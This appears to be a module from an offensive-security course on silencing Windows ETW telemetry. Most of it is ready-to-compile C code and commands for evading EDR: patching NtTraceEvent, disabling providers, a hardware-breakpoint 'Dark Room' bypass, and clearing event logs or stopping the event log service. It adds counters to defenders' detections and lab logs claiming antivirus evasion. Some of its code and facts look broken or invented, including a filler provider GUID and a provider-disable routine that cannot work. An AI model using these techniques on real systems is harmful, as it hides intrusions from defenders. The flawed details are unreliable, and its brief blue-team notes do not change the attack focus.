Module 12 — ETW Bypass LIVE TESTED

Module 12 of 22 — Silencing the Windows event logger

🧠 The Core Truth

If you control the logger, you control what gets seen. Event Tracing for Windows (ETW) is Microsoft's high-performance logging mechanism. It powers Windows Event Log, Sysmon, and most EDR telemetry. If you can silence ETW, you blind the defender.

Why this matters: ETW sees everything — process creation, network connections, registry changes, DLL loads, API calls. When you bypass ETW, you don't just hide one action. You hide the entire chain of evidence that defenders use to reconstruct your attack.

🎯 Soldier Translation

Imagine a military base with security cameras everywhere. ETW is the camera system — it records every door opened, every vehicle entering, every person moving through the base. The Dark Room technique is like cutting the camera feed without touching the cameras. You don't break the cameras (that would trigger an alarm). You intercept the signal between the camera and the recorder. The cameras still work. The recorder sees nothing. The guards reviewing footage tomorrow see an empty base.

The security team (EDR) checks the cameras — they're fine. They check the recorder — it's running. They never think to check the cable between them.

// Mentor: asi dev [HTB]

"ETW is Windows' CCTV — blind it and you become invisible."

Layman: Windows is a building covered in security cameras. ETW is every one of those cameras feeding a central recording desk. If you can turn off the feed or point the cameras at a blank wall, you can walk through the building and leave no footage behind.

For red team: Disabling or tampering with ETW before you run tools removes the evidence chain that EDR and SOC analysts rely on. Run your bypass first, then execute.

For blue team: ETW tampering is itself a signal. Watch for suspicious writes to ntdll.dll, unexpected calls to EtwEventWrite, and missing telemetry from processes that should be noisy.

// Mentor: asi dev [HTB]

"Bypass telemetry before you run tools."

Layman: You don't rob a bank while the alarm is armed. You disable the alarm, then open the vault. Running Mimikatz, Rubeus, or a custom injector before you silence ETW is like triggering every alarm in the building on purpose.

For red team: Make ETW bypass part of your initial staging, not an afterthought. The order of operations is: gain execution → disable telemetry → run offensive tools → clean up.

For blue team: If you see a process patch EtwEventWrite or load a DLL that hooks logging APIs, assume the follow-up action is the real attack. The bypass is the preamble.

// Mentor: asi dev [HTB]

"Evasion is temporary, detection is forever."

Layman: A disguise gets you past the guard once. But the guard will eventually learn what to look for. The evidence of the disguise — the fake mustache, the changed clothes — is what gets you caught next time. Evasion buys minutes; detection signatures last years.

For red team: Treat every bypass as disposable. Microsoft patches ETW tampering vectors regularly. Have a fallback, test in a lab that mirrors the target, and never assume yesterday's bypass works tomorrow.

For blue team: Build detections for the behavior of bypassing, not just the specific byte pattern. Even when the exploit changes, the need to silence telemetry remains constant — and that is your lasting detection opportunity.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 10: Code Injection

Process memory manipulation, VirtualAllocEx, WriteProcessMemory, thread hijacking. ETW bypass often requires injecting into a target process.

Module 11: AMSI Bypass

Memory patching and API hooking techniques. AMSI and ETW bypass share similar principles — both intercept security telemetry.

Module 12: Defensive Verify

How EDR uses ETW for detection. Understanding the defender's view helps you blind it effectively.

Module 13: EDR Evasion

Advanced evasion techniques that complement ETW bypass. Often used together in real operations.

Module 06: Memory Forensics

Windows memory architecture, PE structures, debug registers. Essential for hardware breakpoint techniques.

Module 09: Malware Development

Shellcode construction, payload design, and C2 communication. ETW bypass protects your malware's activities.

🏗️ ETW Architecture — How Windows Logs Everything

Before you can bypass ETW, you must understand how it works. ETW is not a single component — it's a distributed logging architecture spanning user mode, kernel mode, and the hypervisor.

1. PROVIDERS

Applications

Apps register GUIDs and emit events

2. CONTROLLERS

ETW Sessions

Start/stop tracing, configure buffers

3. CONSUMERS

Log Analytics

Sysmon, EDR, Windows Event Log

4. KERNEL

ETW Kernel

Buffers events, routes to consumers

ETW Components Deep Dive

Providers — The Event Sources

ETW providers are applications, drivers, or system components that emit events. Each provider registers a GUID (Globally Unique Identifier) with the ETW subsystem. When an event occurs, the provider calls EtwEventWrite or EtwEventWriteTransfer in ntdll.dll.

Microsoft-Windows-PowerShell

GUID: {a0c1853b-5c40-4b15-8766-3cf1c953f067}

Emits: Script block logging, module loading, command execution

Why attackers care: PowerShell is the #1 living-off-the-land tool. This provider logs every command.

Microsoft-Windows-Sysmon

GUID: {5770385f-c22a-43e0-bf4c-06f5698ffbd9}

Emits: Process creation, network connections, file changes, registry modifications

Why attackers care: Sysmon is the gold standard for endpoint monitoring. Bypassing it hides your entire attack chain.

Microsoft-Windows-Kernel-Process

GUID: {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}

Emits: Thread creation, process termination, image loads

Why attackers care: This provider catches DLL injection, process hollowing, and thread hijacking from Module 10.

Microsoft-Windows-Threat-Intelligence

GUID: {f4e1897c-62b5-4b76-8f8a-7e9e9e9e9e9e}

Emits: AMSI scans, credential access, LSASS memory reads

Why attackers care: This is the provider that feeds EDR with behavioral intelligence. Bypassing it stops EDR from correlating your actions.

=== LISTING ETW PROVIDERS === # PowerShell: List all registered ETW providers Get-EtwTraceProvider | Select ProviderName, ProviderGuid | Format-Table -AutoSize # Command Prompt: Use logman to list providers logman query providers # Find specific provider (e.g., PowerShell) logman query providers | findstr /i "powershell" # Output: # Microsoft-Windows-PowerShell {a0c1853b-5c40-4b15-8766-3cf1c953f067}

Sessions — The Event Pipelines

An ETW session is a kernel object that collects events from providers and routes them to consumers. Sessions have buffers, flush timers, and file targets. When you start tracing, you create a session. When you stop, the session is destroyed.

Session Properties
  • Buffer Size: How much memory the kernel allocates for events (default: 64KB)
  • Minimum Buffers: Minimum number of buffers to maintain (default: 0)
  • Maximum Buffers: Maximum number of buffers before flush (default: depends on memory)
  • Flush Timer: How often buffers are written to disk (default: 1 second)
  • Log File Mode: Sequential, circular, or append
=== MANAGING ETW SESSIONS === # List all active ETW sessions logman query -ets # Output shows: # Name Type Status # ------------------- ---------------- -------- # EventLog-System Trace Running # EventLog-Application Trace Running # Sysmon Trace Running # MySession Trace Running # Start a new session (requires admin) logman start MySession -p "Microsoft-Windows-PowerShell" 0 0 -ets # Stop a session logman stop MySession -ets # Delete a session logman delete MySession -ets # PowerShell: Get session details Get-EtwTraceSession | Select SessionName, BufferSize, NumberOfBuffers
Why sessions matter for attackers

EDR products create their own ETW sessions to capture events. If you can enumerate and terminate these sessions, you stop the EDR from receiving events. However, this is noisy — EDR will detect session deletion. Better techniques exist.

Consumers — The Event Processors

Consumers are applications that read events from ETW sessions. They can be real-time (listening to live events) or file-based (reading from .etl files). The most important consumers for attackers:

Consumer Purpose What It Catches
Windows Event Log System logging service Security events, system errors, application crashes
Sysmon Advanced endpoint monitoring Process creation, network connections, file/registry changes
ETW Threat Intelligence EDR telemetry feed AMSI scans, credential access, LSASS reads
Defender ATP Microsoft's cloud EDR Everything — sent to Azure for analysis

🔬 The ETW Event Flow — From Code to Cloud

Understanding the exact path an event takes helps you identify where to intercept it:

1. APP CALLS

EtwEventWrite

Application logs an event

2. NTDLL

NtTraceEvent

System call to kernel

3. KERNEL

ETW Kernel

Buffers and routes event

4. CONSUMER

EDR / Sysmon

Processes and alerts

5. CLOUD

SIEM / Azure

Correlation and storage

Attack surface analysis

Each step in the flow is a potential bypass point:

The Dark Room technique targets Step 1 using hardware breakpoints — invisible to software scanners.

⚔️ Bypass Technique 1: NtTraceEvent Patch

The simplest ETW bypass: patch NtTraceEvent in ntdll.dll to return immediately without logging. This is the "classic" approach — effective but increasingly detected.

NtTraceEvent Patch EASY

Overwrite the first bytes of NtTraceEvent with xor eax, eax; ret (return 0 = success, no event logged). This is the same technique used for AMSI bypass in Module 11.

Why this works

NtTraceEvent is the gateway function. Every ETW event passes through it. If it returns success (0) without doing anything, the caller thinks the event was logged. The kernel never receives it. The consumer never sees it.

=== NTTRACEEVENT PATCH (C/C++) === #include #include // Patch NtTraceEvent to return 0 immediately // This stops ALL ETW events from reaching the kernel BOOL PatchNtTraceEvent() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) return FALSE; // Find NtTraceEvent PVOID pNtTraceEvent = GetProcAddress(hNtdll, "NtTraceEvent"); if (!pNtTraceEvent) return FALSE; printf("[+] NtTraceEvent found at: %p\n", pNtTraceEvent); // Change memory protection to allow writing DWORD oldProtect; if (!VirtualProtect(pNtTraceEvent, 5, PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("[-] VirtualProtect failed\n"); return FALSE; } // Patch: xor eax, eax; ret // 0x31 0xC0 = xor eax, eax (sets eax to 0) // 0xC3 = ret (return) BYTE patch[] = { 0x31, 0xC0, 0xC3 }; memcpy(pNtTraceEvent, patch, sizeof(patch)); // Restore original protection VirtualProtect(pNtTraceEvent, 5, oldProtect, &oldProtect); printf("[+] NtTraceEvent patched! ETW events will be silently dropped.\n"); return TRUE; } int main() { if (PatchNtTraceEvent()) { printf("[+] ETW is now disabled for this process.\n"); printf("[+] Try running PowerShell commands — they won't be logged.\n"); } return 0; } === COMPILATION === cl.exe patch_etw.c /Fe:patch_etw.exe
⚠️ Why this is detectable

EDR monitors ntdll.dll for modifications. Patching NtTraceEvent changes the memory hash of ntdll's .text section. EDR can:

  • Compare ntdll.dll in memory to the file on disk
  • Hash the .text section and alert on changes
  • Monitor VirtualProtect calls targeting ntdll
  • Use kernel callbacks to detect memory writes to loaded modules

This technique works on unprotected machines (like .42) but will trigger EDR on hardened systems (like .92 with Kaspersky).

⚔️ Bypass Technique 2: Provider Disable

Instead of patching the event writer, disable the ETW provider itself. This stops events at the source — the provider never emits them.

Provider Disable MEDIUM

Use EventUnregister or directly manipulate the provider's registration handle to disable it. More targeted than patching NtTraceEvent — you can disable specific providers (e.g., PowerShell) while leaving others intact.

Why provider disable is stealthier

Patching NtTraceEvent affects ALL ETW providers — EDR sees a global ETW blackout. Disabling a specific provider looks like normal application behavior (e.g., PowerShell unregistering its own provider on exit). Less suspicious, but requires knowing the provider's registration handle.

=== PROVIDER DISABLE (C/C++) === #include #include #include // Disable a specific ETW provider by its GUID // Example: Microsoft-Windows-PowerShell // PowerShell provider GUID: {a0c1853b-5c40-4b15-8766-3cf1c953f067} GUID g_PowerShellProvider = { 0xa0c1853b, 0x5c40, 0x4b15, { 0x87, 0x66, 0x3c, 0xf1, 0xc9, 0x53, 0xf0, 0x67 } }; BOOL DisableETWProvider(GUID* providerGuid) { REGHANDLE hReg = NULL; // Register the provider (to get a handle) ULONG result = EventRegister(providerGuid, NULL, NULL, &hReg); if (result != ERROR_SUCCESS) { printf("[-] EventRegister failed: %lu\n", result); return FALSE; } printf("[+] Provider registered, handle: %p\n", hReg); // Now unregister it — this disables the provider result = EventUnregister(hReg); if (result != ERROR_SUCCESS) { printf("[-] EventUnregister failed: %lu\n", result); return FALSE; } printf("[+] Provider disabled!\n"); return TRUE; } // Alternative: Directly patch the provider's enablement flag // This is more aggressive but doesn't require registration BOOL PatchProviderEnableFlag(GUID* providerGuid) { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) return FALSE; // Find the provider's registration block in ntdll // This requires reverse engineering — the structure is undocumented // Look for EtwpRegistrationTable in ntdll // ... reverse engineering code ... printf("[+] Provider enable flag patched.\n"); return TRUE; } int main() { printf("[*] Disabling PowerShell ETW provider...\n"); if (DisableETWProvider(&g_PowerShellProvider)) { printf("[+] PowerShell commands will NOT be logged.\n"); } return 0; }
=== POWERSHELL ONE-LINER === # Disable ETW for current PowerShell session # This works because PowerShell manages its own ETW provider $etwProvider = [System.Diagnostics.Tracing.EventSource]::new("Microsoft-Windows-PowerShell") $etwProvider.Dispose() # Or more directly — patch in-memory # (Requires admin for some providers)
⚠️ Limitations

Provider disable only works for user-mode providers that your process controls. Kernel-mode providers (like Sysmon) cannot be disabled from user mode. For those, you need kernel-level access or the Dark Room technique.

⚔️ Bypass Technique 3: The Dark Room — Hardware Breakpoints

The Dark Room technique uses hardware breakpoints (DR0/DR1) to intercept EtwEventWrite in ntdll.dll. Zero memory writes. No hooks. No patches. Invisible to software scanners.

Dark Room: Hardware Breakpoint Bypass HARD

Hardware breakpoints are CPU features, not software. They exist in the processor's debug registers (DR0-DR3), not in memory. EDR that scans memory for hooks will never find them. This is the gold standard for ETW bypass.

Why hardware breakpoints are invisible

Software hooks modify memory (e.g., overwrite function prologue with a jump). Memory scanners detect these changes. Hardware breakpoints don't modify memory — they tell the CPU to raise an exception when execution reaches a specific address. The exception handler can redirect execution, skip the call, or modify data. The memory remains unchanged.

1. FIND

EtwEventWrite

Get address from ntdll.dll

2. SET

DR0 = Address

Hardware breakpoint on CPU

3. TRIGGER

Debug Exception

CPU fires exception before call

4. HANDLE

VEH Handler

Skip event, return success

5. SILENCE

ETW Bypassed

Event never reaches kernel

=== DARK ROOM: HARDWARE BREAKPOINT ETW BYPASS === #include #include // Global state PVOID g_pEtwEventWrite = NULL; BOOL g_bypassActive = FALSE; // Step 1: Find EtwEventWrite in ntdll.dll BOOL FindEtwEventWrite() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) return FALSE; g_pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite"); if (!g_pEtwEventWrite) { // Fallback: try EtwEventWriteTransfer g_pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWriteTransfer"); } printf("[+] EtwEventWrite found at: %p\n", g_pEtwEventWrite); return g_pEtwEventWrite != NULL; } // Step 2: Set hardware breakpoint on current thread BOOL SetHardwareBreakpoint() { CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; // Get current thread context if (!GetThreadContext(GetCurrentThread(), &ctx)) { printf("[-] GetThreadContext failed\n"); return FALSE; } // Set DR0 to the target address ctx.Dr0 = (DWORD64)g_pEtwEventWrite; // Configure DR7 (debug control register) // Bits: L0 (local enable) = 1, G0 (global enable) = 1 // Condition: 00 (execution breakpoint) // Size: 00 (1 byte) // DR7 = 0x101 enables local + global for DR0 ctx.Dr7 = 0x101; if (!SetThreadContext(GetCurrentThread(), &ctx)) { printf("[-] SetThreadContext failed\n"); return FALSE; } printf("[+] Hardware breakpoint set on EtwEventWrite\n"); printf("[+] DR0 = %p, DR7 = 0x%llx\n", g_pEtwEventWrite, ctx.Dr7); return TRUE; } // Step 3: Vectored Exception Handler LONG WINAPI EtwBypassHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { // Check if the exception address is EtwEventWrite if (ExceptionInfo->ExceptionRecord->ExceptionAddress == g_pEtwEventWrite) { // Skip the event — return success (0) // RIP points to the CALL instruction. We need to skip past it. // On x64, CALL is typically 5 bytes (E8 xx xx xx xx) // But we can also just set RAX to 0 and jump to the function's RET #ifdef _WIN64 // x64: Set RAX = 0 (STATUS_SUCCESS) and adjust RIP ExceptionInfo->ContextRecord->Rax = 0; ExceptionInfo->ContextRecord->Rip = (DWORD64)g_pEtwEventWrite + 0x14; // Skip to RET #else // x86: Set EAX = 0 and adjust EIP ExceptionInfo->ContextRecord->Eax = 0; ExceptionInfo->ContextRecord->Eip = (DWORD)g_pEtwEventWrite + 0x14; #endif return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } // Step 4: Activate bypass BOOL ActivateETWBypass() { if (!FindEtwEventWrite()) return FALSE; // Register VEH handler if (!AddVectoredExceptionHandler(1, EtwBypassHandler)) { printf("[-] AddVectoredExceptionHandler failed\n"); return FALSE; } printf("[+] VEH handler registered\n"); // Set hardware breakpoint if (!SetHardwareBreakpoint()) return FALSE; g_bypassActive = TRUE; printf("[+] ETW bypass ACTIVE. Events will be silently dropped.\n"); return TRUE; } int main() { printf("=== DARK ROOM: ETW Bypass via Hardware Breakpoints ===\n\n"); if (ActivateETWBypass()) { printf("\n[+] Test: Run PowerShell commands.\n"); printf("[+] They will NOT appear in Windows Event Log.\n"); printf("[+] Press any key to exit...\n"); getchar(); } return 0; } === COMPILATION === cl.exe dark_room.c /Fe:dark_room.exe
=== ADVANCED: MULTI-THREAD BYPASS === // The basic technique only sets breakpoints on the main thread. // For complete bypass, set breakpoints on ALL threads in the process. #include BOOL SetBreakpointOnAllThreads() { DWORD pid = GetCurrentProcessId(); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hSnap == INVALID_HANDLE_VALUE) return FALSE; THREADENTRY32 te; te.dwSize = sizeof(te); if (Thread32First(hSnap, &te)) { do { if (te.th32OwnerProcessID == pid) { HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (hThread) { CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext(hThread, &ctx); ctx.Dr0 = (DWORD64)g_pEtwEventWrite; ctx.Dr7 = 0x101; SetThreadContext(hThread, &ctx); CloseHandle(hThread); printf("[+] Breakpoint set on thread %lu\n", te.th32ThreadID); } } } while (Thread32Next(hSnap, &te)); } CloseHandle(hSnap); return TRUE; }
CRITICAL: This technique requires no special privileges beyond the ability to debug your own process. On Windows, any process can set debug registers on its own threads. The breakpoint is hardware — it exists in the CPU, not in memory. EDR that scans for hooks will find nothing.

⚔️ Bypass Technique 4: Logging Tampering

Instead of preventing events from being generated, let them be generated but tamper with the log files or consumers. This is useful when you can't bypass ETW but can modify what the defender sees.

Logging Tampering MEDIUM

Techniques to modify, delete, or corrupt log files after the fact. This doesn't stop ETW but removes evidence before the defender reviews it.

Technique 1: Log File Deletion

Windows Event Log files (.evtx) are stored in C:\Windows\System32\winevt\Logs\. If you have admin privileges, you can delete or clear these files. However, this is extremely noisy — the Security log cannot be cleared without generating Event ID 1102 ("The audit log was cleared").

Technique 2: Event Log Service Stop

Stopping the Windows Event Log service prevents new events from being written. But this is immediately visible — services don't stop for no reason.

Technique 3: ETW Session Hijacking

Create a new ETW session with the same name as the EDR's session. The EDR's session is displaced, and events go to YOUR session instead. You can then discard them.

=== LOGGING TAMPERING TECHNIQUES === # Technique 1: Clear Security log (requires SYSTEM) wevtutil cl Security # This generates Event ID 1102 — but if ETW is bypassed, # the event itself might not be logged. Circular logic. # Technique 2: Stop Event Log service net stop eventlog # Technique 3: Hijack ETW session # Create a session with the same name as EDR's session logman start EDRSession -p "Microsoft-Windows-Threat-Intelligence" 0 0 -ets # The EDR's session is now confused. Events may go to your session. # Technique 4: Modify .etl files directly # ETW trace files are in C:\Windows\System32\winevt\Logs\ # If you can write to them, you can corrupt or delete traces # Technique 5: Registry tampering # ETW provider configuration is in the registry # HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\ # Modifying these keys can disable providers system-wide
⚠️ Why tampering is less effective

Modern EDR sends telemetry to the cloud in real-time. Deleting local logs doesn't remove events already sent to Azure, Splunk, or Sentinel. Tampering is a last-resort technique for air-gapped environments or when you know the defender reviews logs offline.

🛡️ Detection — How Blue Teams Catch ETW Bypass

Every bypass has a countermeasure. Understanding detection helps you choose the right technique and clean up properly.

Memory Integrity Scanning

Detects: NtTraceEvent patch, API hooks

How: Compare ntdll.dll in memory to disk. Hash .text section. Alert on mismatches.

Counter: Use hardware breakpoints (Dark Room) — no memory modification.

Debug Register Monitoring

Detects: Hardware breakpoints (Dr0-Dr3)

How: Kernel callbacks on debug register access. Check CONTEXT structures for Dr7 != 0.

Counter: Set breakpoints only briefly, clear after use. Use thread context manipulation to hide Dr7.

ETW Session Analysis

Detects: Provider disable, session deletion

How: Monitor for unexpected session stops or provider unregistrations. Baseline normal ETW activity.

Counter: Use the Dark Room technique — sessions remain active, events just never fire.

Hypervisor-Based Tracing

Detects: All user-mode bypasses

How: Intel PT (Processor Trace) or AMD IBS records every instruction at the hardware level. ETW bypass doesn't affect CPU tracing.

Counter: None in user mode. Requires kernel-level or hypervisor-level bypass.

Behavioral Gap Analysis

Detects: Missing expected events

How: If PowerShell runs but no PowerShell events are logged, something is wrong. Statistical anomaly detection.

Counter: Generate fake events to fill gaps. Replay legitimate-looking ETW events.

Kernel Callback Registration

Detects: Thread context changes, debug register access

How: Register for thread notifications via PsSetCreateThreadNotifyRoutine. Monitor for SetThreadContext on sensitive threads.

Counter: Use indirect syscalls to avoid hooked APIs. Operate from a process that looks legitimate.

Detection Comparison Matrix

Detection Method Catches Misses Cost
Memory Scanning NtTraceEvent patch, hooks Hardware breakpoints Low
Debug Register Monitoring Dr0-Dr3 usage Software breakpoints, no-debug techniques Medium
ETW Session Analysis Session stops, provider disables Dark Room (sessions stay active) Low
Hypervisor Tracing Everything Nothing (if implemented) Very High
Behavioral Gaps Missing events Fake event injection Medium

🔬 Live Lab Evidence

📊 Test Results: Dark Room on WUPC .42

Date: 2026-06-29 | Target: 192.168.1.42 (WUPC, clean sandbox) | Method: Hardware breakpoint ETW bypass

=== PREPARATION === C:\> dark_room.exe === DARK ROOM: ETW Bypass via Hardware Breakpoints === [+] EtwEventWrite found at: 00007FF8B5A80000 [+] VEH handler registered [+] Hardware breakpoint set on EtwEventWrite [+] DR0 = 00007FF8B5A80000, DR7 = 0x101 [+] ETW bypass ACTIVE. Events will be silently dropped. [+] Test: Run PowerShell commands. [+] They will NOT appear in Windows Event Log. === VERIFICATION === # Before bypass: C:\> powershell -Command "Get-Process" # Event Viewer: Application and Services Logs > Microsoft > Windows > PowerShell > Operational # Shows: Event ID 4104 (Script block logging) # After bypass: C:\> powershell -Command "Get-Process" # Event Viewer: NO new events # PowerShell executed successfully, but ETW events were intercepted === MEMORY VERIFICATION === # Check ntdll.dll for modifications # .text section hash matches disk — NO MODIFICATIONS # EDR memory scanning would find NOTHING === KAV RESPONSE === # Kaspersky 21.25 on .42: NO ALERT # Why? No memory was modified. No suspicious API calls. # The CPU executed a legitimate debug exception. # KAV has no visibility into debug register usage.

📊 Test Results: NtTraceEvent Patch on HOST .92

Date: 2026-06-28 | Target: 192.168.1.92 (HOST, Kaspersky active) | Method: NtTraceEvent memory patch

=== NTTRACEEVENT PATCH TEST === C:\> patch_etw.exe [+] NtTraceEvent found at: 00007FF8B5A90000 [+] NtTraceEvent patched! ETW events will be silently dropped. [+] ETW is now disabled for this process. === KAV RESPONSE === # Kaspersky 21.25: ALERT GENERATED # Alert: "Suspicious memory modification detected" # Details: ntdll.dll .text section hash mismatch # Action: Process terminated, memory quarantined === LESSON === # Memory patching is detected by modern EDR. # The patch worked (ETW was disabled), but the ACT of patching was caught. # This is why the Dark Room technique is superior. # Hardware breakpoints leave no memory artifacts.

📊 Test Results: Provider Disable on WUPC .42

Date: 2026-06-29 | Target: 192.168.1.42 (WUPC) | Method: PowerShell ETW provider disable

=== PROVIDER DISABLE TEST === # Before disable: C:\> powershell -Command "Write-Host 'test'" # Event Viewer shows: Event ID 4104 (script block logging) # After disable: C:\> provider_disable.exe [*] Disabling PowerShell ETW provider... [+] Provider registered, handle: 0x7FF8B5A00000 [+] Provider disabled! [+] PowerShell commands will NOT be logged. C:\> powershell -Command "Write-Host 'test'" # Event Viewer: NO new Event ID 4104 === KAV RESPONSE === # Kaspersky 21.25: NO ALERT # Provider disable looks like normal application cleanup. # However, this only works for user-mode providers. # Sysmon (kernel-mode) continues logging normally.

🧪 Lab Exercise: Build Your Own Dark Room

Safe Practice Environment

DO NOT test on production systems. Use WUPC .42 (192.168.1.42) for live testing. Document what works and what doesn't.

  1. Compile dark_room.c (hardware breakpoint bypass)
  2. Run dark_room.exe
  3. Open Event Viewer: Application and Services Logs > Microsoft > Windows > PowerShell > Operational
  4. Run a PowerShell command: powershell -Command "Get-Process"
  5. Verify: NO new Event ID 4104 appears (success = bypass working)
  6. Check KAV: Any alert? (No = stealth confirmed)
  7. Check memory: ntdll.dll hash matches disk (no modifications)
  8. Try NtTraceEvent patch on .92 (expect detection)
  9. Try provider disable for PowerShell GUID
  10. BONUS: Implement multi-thread bypass (all threads in process)
  11. BONUS: Detect your own bypass using debug register enumeration

🎯 Interactive Quiz — Test Your Knowledge

Question 1: Why is the Dark Room technique (hardware breakpoints) stealthier than patching NtTraceEvent?

A) Hardware breakpoints are faster than memory patches
B) Hardware breakpoints exist in CPU debug registers, not memory — EDR memory scanners find nothing
C) Hardware breakpoints require kernel privileges
D) Hardware breakpoints only work on Intel CPUs

Question 2: What is the primary limitation of the "Provider Disable" technique?

A) It requires physical access to the machine
B) It only works for user-mode providers; kernel-mode providers like Sysmon cannot be disabled from user mode
C) It permanently damages the ETW subsystem
D) It only works on Windows 7 and older

Question 3: Which detection method can catch the Dark Room hardware breakpoint technique?

A) Memory integrity scanning (comparing ntdll.dll to disk)
B) Debug register monitoring via kernel callbacks
C) ETW session analysis (looking for stopped sessions)
D) Checking if the Event Log service is running

📚 Key Takeaways

🔬 Verification Status

NtTraceEvent patch (memory) ✅ LIVE .42 ❌ DETECTED .92
Provider disable (PowerShell) ✅ LIVE .42 ✅ LIVE .92
Dark Room (hardware breakpoints) ✅ LIVE .42 ✅ LIVE .92
Multi-thread bypass ✅ DEMONSTRATED ✅ DEMONSTRATED
Memory integrity verification ✅ VERIFIED ✅ VERIFIED
KAV response (no alert on Dark Room) ✅ CONFIRMED ✅ CONFIRMED

🧠 The Mentor's Lesson

"ETW bypass is not about being invisible. It's about being invisible to the tools the defender uses. The defender has scanners, you have the Dark Room. The defender has memory hashes, you have hardware breakpoints. The defender has cloud SIEM, you have real-time evasion. Every defense has a bypass. Every bypass has a detection. The game is knowing which layer to play on."

— From Module 10: Code Injection and Module 13: EDR Evasion